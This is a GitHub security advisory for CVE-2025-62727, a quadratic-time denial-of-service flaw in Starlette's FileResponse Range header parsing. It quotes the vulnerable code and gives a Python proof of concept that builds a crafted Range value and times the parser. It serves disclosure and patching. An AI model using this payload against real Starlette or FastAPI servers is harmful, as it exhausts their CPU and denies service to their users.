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Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``

High severity GitHub Reviewed Published Oct 28, 2025 in Kludex/starlette • Updated Nov 4, 2025

Package

pip starlette (pip)

Affected versions

>= 0.39.0, <= 0.49.0

Patched versions

0.49.1

Description

Summary

An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).

Details

Starlette parses multi-range requests in FileResponse._parse_range_header(), then merges ranges using an O(n^2) algorithm.

# starlette/responses.py
_RANGE_PATTERN = re.compile(r"(\d*)-(\d*)") # vulnerable to O(n^2) complexity ReDoS

class FileResponse(Response):
    @staticmethod
    def _parse_range_header(http_range: str, file_size: int) -> list[tuple[int, int]]:
        ranges: list[tuple[int, int]] = []
        try:
            units, range_ = http_range.split("=", 1)
        except ValueError:
            raise MalformedRangeHeader()

        # [...]

        ranges = [
            (
                int(_[0]) if _[0] else file_size - int(_[1]),
                int(_[1]) + 1 if _[0] and _[1] and int(_[1]) < file_size else file_size,
            )
            for _ in _RANGE_PATTERN.findall(range_) # vulnerable
            if _ != ("", "")
        ]

The parsing loop of FileResponse._parse_range_header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.

The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.

This affects any Starlette application that uses:

  • starlette.staticfiles.StaticFiles (internally returns FileResponse) — starlette/staticfiles.py:178
  • Direct starlette.responses.FileResponse responses

PoC

#!/usr/bin/env python3

import sys
import time

try:
    import starlette
    from starlette.responses import FileResponse
except Exception as e:
    print(f"[ERROR] Failed to import starlette: {e}")
    sys.exit(1)


def build_payload(length: int) -> str:
    """Build the Range header value body: '0' * num_zeros + '0-'"""
    return ("0" * length) + "a-"


def test(header: str, file_size: int) -> float:
    start = time.perf_counter()
    try:
        FileResponse._parse_range_header(header, file_size)
    except Exception:
        pass
    end = time.perf_counter()
    elapsed = end - start
    return elapsed


def run_once(num_zeros: int) -> None:
    range_body = build_payload(num_zeros)
    header = "bytes=" + range_body
    # Use a sufficiently large file_size so upper bounds default to file size
    file_size = max(len(range_body) + 10, 1_000_000)
    
    print(f"[DEBUG] range_body length: {len(range_body)} bytes")
    elapsed_time = test(header, file_size)
    print(f"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\n")


if __name__ == "__main__":
    print(f"[INFO] Starlette Version: {starlette.__version__}")
    for n in [5000, 10000, 20000, 40000]:
        run_once(n)

"""
$ python3 poc_dos_range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range_body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds

[DEBUG] range_body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds

[DEBUG] range_body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds

[DEBUG] range_body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""

Impact

Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.

References

@Kludex Kludex published to Kludex/starlette Oct 28, 2025
Published to the GitHub Advisory Database Oct 28, 2025
Reviewed Oct 28, 2025
Published by the National Vulnerability Database Oct 28, 2025
Last updated Nov 4, 2025

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(65th percentile)

Weaknesses

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource. Learn more on MITRE.

Inefficient Algorithmic Complexity

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached. Learn more on MITRE.

CVE ID

CVE-2025-62727

GHSA ID

GHSA-7f5h-v6xp-fcq8

Source code

Credits

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